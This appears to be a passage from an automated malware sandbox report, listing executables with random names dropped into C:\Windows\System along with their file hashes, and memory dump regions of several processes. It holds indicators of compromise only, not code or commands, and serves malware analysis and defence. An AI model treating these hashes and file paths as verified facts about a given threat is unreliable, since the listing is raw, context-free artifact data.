f4804f1c1c8d34593514a7922f26343c5ba8ece0ab499e82893f277f2b8b3e15cc04e40a9493e63c5bf97c77ee804df43c8803a72617c1c5763a776444196532

Download Submit
C:\Windows\System\fSfXIYV.exe

Filesize
2.2MB

MD5
3744756cc174a85b490bb9fe4c37635e

SHA1
77dc56f1b0d065bc80838a931b7773628d9b220f

SHA256
9faea819b3fef4c65b5787b13836078d6ad974c299d3ddf7760a3ca753e6b1ff

SHA512
57a6fdf9be536bc7deb2a5736cf51a41b7ccf2ddadfc475c6e1c96b5668cff22fe833eee9ab770fc57f11d399a04aa6fd8dcbefa977c0415883a35f47128e854

Download Submit
C:\Windows\System\gZXoOGf.exe

Filesize
2.2MB

MD5
4253595c1ebbc3b320194897519d40d0

SHA1
508472de5ca140569012dc793cd8face7258072a

SHA256
6aa96b12319a1506caf2cb24b53a65dbd6aabbc0530f436b3223507042188ff1

SHA512
6562352cc285d1ef23b44a472cfc5099147527ef0cc6fe5d02f90f985b0bc848aa66133acb487d65da9737b8e008fb9d2c0d4fa6ede1f7a146661e8b3bb1c5b9

Download Submit
C:\Windows\System\hJXSega.exe

Filesize
2.2MB

MD5
53f88b256d3e08c4038a13f407c52ab5

SHA1
758571c918b9600280934e12ef2c3050d80d855f

SHA256
8549749ec061c5631bd78433523afeb93efcf4ad00d148092860886a50d0d1d2

SHA512
d4c4ebc1b83c73144b408d454ad1910ffb7e10be2c5dc30956c1b108bba827329477b7ca5dc38cddcd166083dfc0bad6390f4eb9bd08305b8686257e72d1161b

Download Submit
C:\Windows\System\hNepoCb.exe

Filesize
2.2MB

MD5
e21e4f27ca632791d60e9e77eb6c2d79

SHA1
fea03a4afe86f903ce1b64546b6baa40a74781b6

SHA256
dfd9b45c5626bba0be92193de053e50de675f909d1e5011ca1f64cb1a2dc8ca0

SHA512
adaa1ef4cf201b5a70081ac60380e25963649072bc9342a5a28e62a3eba7f06ca91159d0c8fec6438d37744445ebac36e859ca01cc57948e31d5947899f37363

Download Submit
C:\Windows\System\isrphEO.exe

Filesize
2.2MB

MD5
b50274e818f7532b47ffb8c0277caed6

SHA1
fdabbfab99a8d1017af83e4f2b1bf791469ab26f

SHA256
556e74061f1ea047b738f16c22a958891fa079dd2577a0d80c11ea1fedf5904a

SHA512
f8d9c5ac9bc8bd8c56cd1fe0ab488e9b495f4d306ef0311b9da1ed2b8d4857b8443fa8377663ef92fb5de4229a9bd24851323cc4671077440e58133253747b89

Download Submit
C:\Windows\System\jnudPwI.exe

Filesize
2.2MB

MD5
d43772894ad6ff9bc93e5f97a9b15263

SHA1
8a7eef944434f412673c02740b2ba982e2e3a127

SHA256
031f07ae45678267d65498bc15754fd8804a727f1f6ce0644cef8be62952c0a6

SHA512
1fabea1b977f5be00bb34b6545a598d732ba05945f3ffc870a1ddd7cdfe9a3a247f3db29cce685ff607a32afd2ac999bf3d954ffb930b7a9f77e8b2827178124

Download Submit
C:\Windows\System\jwDFBTX.exe

Filesize
2.2MB

MD5
50aebfb2b6d28513dc240988cbca2784

SHA1
f627b43dcf00b1f576279629440dec1d5e708d25

SHA256
b34f255a8998a8e91d89a8a93761437f7cea0dac854fadaab0efe0c81a08e6c3

SHA512
77494f26b849af24d57ed40e59c0b9cd610e138d0def98f9523f5fc989051d8540a452b1af9eeb2dd9fe1fe03329b5b587eecac1bd87e7497f3fee801cf5294c

Download Submit
C:\Windows\System\kNTdsus.exe

Filesize
2.2MB

MD5
0aff78d6ab6976bd26c8602cf7c21863

SHA1
db33a7721f17cb6559d616d4fe0c4d90c5e420d1

SHA256
c3ab2b3ffb5d492d0ffe46e92138d786b1ad69cacd4870b4d1341aff3520dc63

SHA512
00f108cb1674f785d1fd24c29b04c8993cd039c3647f363abfdc576ac4ced920d4ea84cf4939ebf59229379e2193faa1264673248be4ca1d886e5ecfce3488e9

Download Submit
C:\Windows\System\kpOfxTK.exe

Filesize
2.2MB

MD5
fdb16459a919fac87fdcf082c856103a

SHA1
ee5bc83c67460f2367cbff9c0c70389a32c4e40d

SHA256
2386c0c939609fde97cb845f395ef9eb3994917c40002bf46bb6ebcc742674d1

SHA512
70775548207e69a9fd1c90d188b50228cb98bb43f1c8da30b0fb493697375e8abe9278290ba1cc74cecba1418eea3a1c6324ee46cfd105f2421ac39be9485359

Download Submit
C:\Windows\System\mHROrYe.exe

Filesize
2.2MB

MD5
3e1955c954f64713cd477bf92145a292

SHA1
55a90f8027d409ed3de16abd89222b8d4735665c

SHA256
915da87210373ce1149a3e999abf82e6a450378034e213c397f2601ccf375528

SHA512
0956792ad173ae0977c7a46f4e3ccd589b1677ef297d30c395562dd8e540701f58914f75a806203ba52c3d52d1f63dc12b608ddf8f7d55dd8ae0bffa459b5981

Download Submit
C:\Windows\System\nTMOgqG.exe

Filesize
2.2MB

MD5
3c7e0244213d5e11d4a961746426d9c0

SHA1
6d15dfb2ba3709e58973004c9fe6dfa41355b649

SHA256
cde2f1b2db4a32be404df4e4f391ee8457aa7a638f18e38e5649e8a8cdd32c3e

SHA512
6da936b49ae89efea792e4551707bc7a35b5d5efa40611894ef1e1700d1b3ded6da73d18b410e81d7f39dc44dd72e7a3e01aef0d3242ce07934868bf04b0baa8

Download Submit
C:\Windows\System\sFFezam.exe

Filesize
2.2MB

MD5
ddf02d887086879c130c4c43f1141ea6

SHA1
8f2b60ae663a9dbb90c72691ebb6183f686230f9

SHA256
02d26fe2490695e8039c0700d7c9b9b4a5a00998454f1a889c2cac27a7ee465b

SHA512
ad7c4da755317f01f11e8fe2fad98f4359bfef8239ea51507f4455c7042403fd39ca3dc1de7a1f94dc268d3af7bbc4bd955d1bdb0968d74e6388f4a4d9241468

Download Submit
C:\Windows\System\trdeNSw.exe

Filesize
2.2MB

MD5
b3138491fd53a0e7229c4ae23ca60018

SHA1
c63ca30fa4fd31648f703ce41a00b0ed354f7d3f

SHA256
a22d52cbffab44ceb7a513bba3d83135e73c06c5684e47d189a08fcdc45616b0

SHA512
5c12524d829215066a8678f029ab98661294bb96a16f37c9a65642e91f5785f458eec2108e412c56b7a7a548244d5516c563b23086bd8393dc288a95f077c56a

Download Submit
C:\Windows\System\yRuZnKj.exe

Filesize
2.2MB

MD5
5f36c57f5d76b35053fa4ea9c9e5f3ec

SHA1
23e78a558c1c5a9c6d3597425dd06f026e68432f

SHA256
81d06c2782f9ddd1662177d6c3bb58d905a4b849fdb4e331cc99e3fc347961ed

SHA512
55b21581650795f02016114f9a89be07166aa38f31c32c80e6016849f69e5aa55b769f7653cbb3fa33020862618c7fbc6d882152928908a4eed88c87dec63e4d

Download Submit
memory/408-75-0x00007FF741060000-0x00007FF741452000-memory.dmp

Filesize
3.9MB

Download
memory/408-1763-0x00007FF741060000-0x00007FF741452000-memory.dmp

Filesize
3.9MB

Download
memory/632-2133-0x00007FF67C580000-0x00007FF67C972000-memory.dmp

Filesize
3.9MB

Download
memory/632-159-0x00007FF67C580000-0x00007FF67C972000-memory.dmp

Filesize
3.9MB

Download
memory/1004-1660-0x00007FF7667C0000-0x00007FF766BB2000-memory.dmp

Filesize
3.9MB

Download
memory/1004-56-0x00007FF7667C0000-0x00007FF766BB2000-memory.dmp

Filesize
3.9MB

Download
memory/1188-1837-0x00007FF7C2890000-0x00007FF7C2C82000-memory.dmp

Filesize
3.9MB

Download
memory/1188-86-0x00007FF7C2890000-0x00007FF7C2C82000-memory.dmp

Filesize
3.9MB

Download
memory/1276-1813-0x00007FF6CAF70000-0x00007FF6CB362000-memory.dmp

Filesize
3.9MB

Download
memory/1276-109-0x00007FF6CAF70000-0x00007FF6CB362000-memory.dmp

Filesize
3.9MB

Download
memory/1612-3352-0x0000018AE6590000-0x0000018AE65A0000-memory.dmp

Filesize
64KB

Download
memory/1612-11-0x0000018AE65A0000-0x0000018AE65C2000-memory.dmp

Filesize
136KB

Download
memory/1612-39-0x0000018AE6590000-0x0000018AE65A0000-memory.dmp

Filesize
64KB

Download
memory/1612-38-0x00007FF9872D0000-0x00007FF987D91000-memory.dmp

Filesize
10.8MB

Download
memory/1612-117-0x0000018AE7BF0000-0x0000018AE8396000-memory.dmp

Filesize
7.6MB

Download
memory/1612-130-0x0000018AE83A0000-0x0000018AE9A17000-memory.dmp

Filesize
22.5MB

Download
memory/1612-179-0x00007FF9872D0000-0x00007FF987D91000-memory.dmp

Filesize
10.8MB

Download
memory/1672-151-0x00007FF7CE1A0000-0x00007FF7CE592000-memory.dmp

Filesize
3.9MB

Download
memory/1672-1831-0x00007FF7CE1A0000-0x00007FF7CE592000-memory.dmp

Filesize
3.9MB

Download
memory/1672-81-0x00007FF7CE1A0000-0x00007FF7CE592000-memory.dmp

Filesize
3.9MB

Download
memory/2112-2145-0x00007FF6EE3E0000-0x00007FF6EE7D2000-memory.dmp

Filesize
3.9MB

Download
memory/2112-185-0x00007FF6EE3E0000-0x00007FF6EE7D2000-memory.dmp

Filesize
3.9MB

Download
memory/2872-1650-0x00007FF694D00000-0x00007FF6950F2000-memory.dmp

Filesize
3.9MB

Download
memory/2872-67-0x00007FF694D00000-0x00007FF6950F2000-memory.dmp

Filesize
3.9MB

Download
memory/3132-1765-0x00007FF6CAC40000-0x00007FF6CB032000-memory.dmp

Filesize
3.9MB

Download
memory/3132-59-0x00007FF6CAC40000-0x00007FF6CB032000-memory.dmp

Filesize
3.9MB

Download
memory/3452-1-0x000002541B990000-0x000002541B9A0000-memory.dmp

Filesize
64KB

Download
memory/3452-1713-0x00007FF60BED0000-0x00007FF60C2C2000-memory.dmp

Filesize
3.9MB

Download
memory/3452-122-0x00007FF60BED0000-0x00007FF60C2C2000-memory.dmp

Filesize
3.9MB

Download
memory/3452-0-0x00007FF60BED0000-0x00007FF60C2C2000-memory.dmp

Filesize
3.9MB

Download
memory/3808-1681-0x00007FF6AA4F0000-0x00007FF6AA8E2000-memory.dmp

Filesize
3.9MB

Download
memory/3808-46-0x00007FF6AA4F0000-0x00007FF6AA8E2000-memory.dmp

Filesize
3.9MB

Download
memory/3840-1761-0x00007FF776650000-0x00007FF776A42000-memory.dmp

Filesize
3.9MB

Download
memory/3840-70-0x00007FF776650000-0x00007FF776A42000-memory.dmp

Filesize
3.9MB

Download
memory/4076-112-0x00007FF710A30000-0x00007FF710E22000-memory.dmp

Filesize
3.9MB

Download
memory/4076-1944-0x00007FF710A30000-0x00007FF710E22000-memory.dmp

Filesize
3.9MB

Download
memory/4084-51-0x00007FF62C820000-0x00007FF62CC12000-memory.dmp

Filesize
3.9MB

Download
memory/4084-1698-0x00007FF62C820000-0x00007FF62CC12000-memory.dmp

Filesize
3.9MB

Download
memory/4160-150-0x00007FF60B660000-0x00007FF60BA52000-memory.dmp

Filesize
3.9MB

Download
memory/4160-2117-0x00007FF60B660000-0x00007FF60BA52000-memory.dmp

Filesize
3.9MB

Download
memory/4380-125-0x00007FF7C7410000-0x00007FF7C7802000-memory.dmp

Filesize
3.9MB

Download
memory/4380-2093-0x00007FF7C7410000-0x00007FF7C7802000-memory.dmp

Filesize
3.9MB

Download
memory/4444-160-0x00007FF63B800000-0x00007FF63BBF2000-memory.dmp

Filesize
3.9MB

Download
memory/4444-93-0x00007FF63B800000-0x00007FF63BBF2000-memory.dmp

Filesize
3.9MB

Download
memory/4444-1808-0x00007FF63B800000-0x00007FF63BBF2000-memory.dmp

Filesize
3.9MB

Download
memory/4520-1836-0x00007FF6A6460000-0x00007FF6A6852000-memory.dmp

Filesize
3.9MB

Download
memory/4520-111-0x00007FF6A6460000-0x00007FF6A6852000-memory.dmp

Filesize
3.9MB

Download
memory/4556-104-0x00007FF6E3640000-0x00007FF6E3A32000-memory.dmp

Filesize
3.9MB

Download
memory/4556-181-0x00007FF6E3640000-0x00007FF6E3A32000-memory.dmp

Filesize
3.9MB

Download
memory/4556-1818-0x00007FF6E3640000-0x00007FF6E3A32000-memory.dmp

Filesize
3.9MB

Download
memory/4612-1773-0x00007FF6662A0000-0x00007FF666692000-memory.dmp

Filesize
3.9MB

Download
memory/4612-72-0x00007FF6662A0000-0x00007FF666692000-memory.dmp

Filesize
3.9MB

Download
memory/4912-98-0x00007FF6A3010000-0x00007FF6A3402000-memory.dmp

Filesize
3.9MB

Download
memory/4912-1811-0x00007FF6A3010000-0x00007FF6A3402000-memory.dmp

Filesize
3.9MB

Download
memory/4920-1905-0x00007FF65D920000-0x00007FF65DD12000-memory.dmp

Filesize
3.9MB

Download
memory/4920-110-0x00007FF65D920000-0x00007FF65DD12000-memory.dmp

Filesize
3.9MB

Download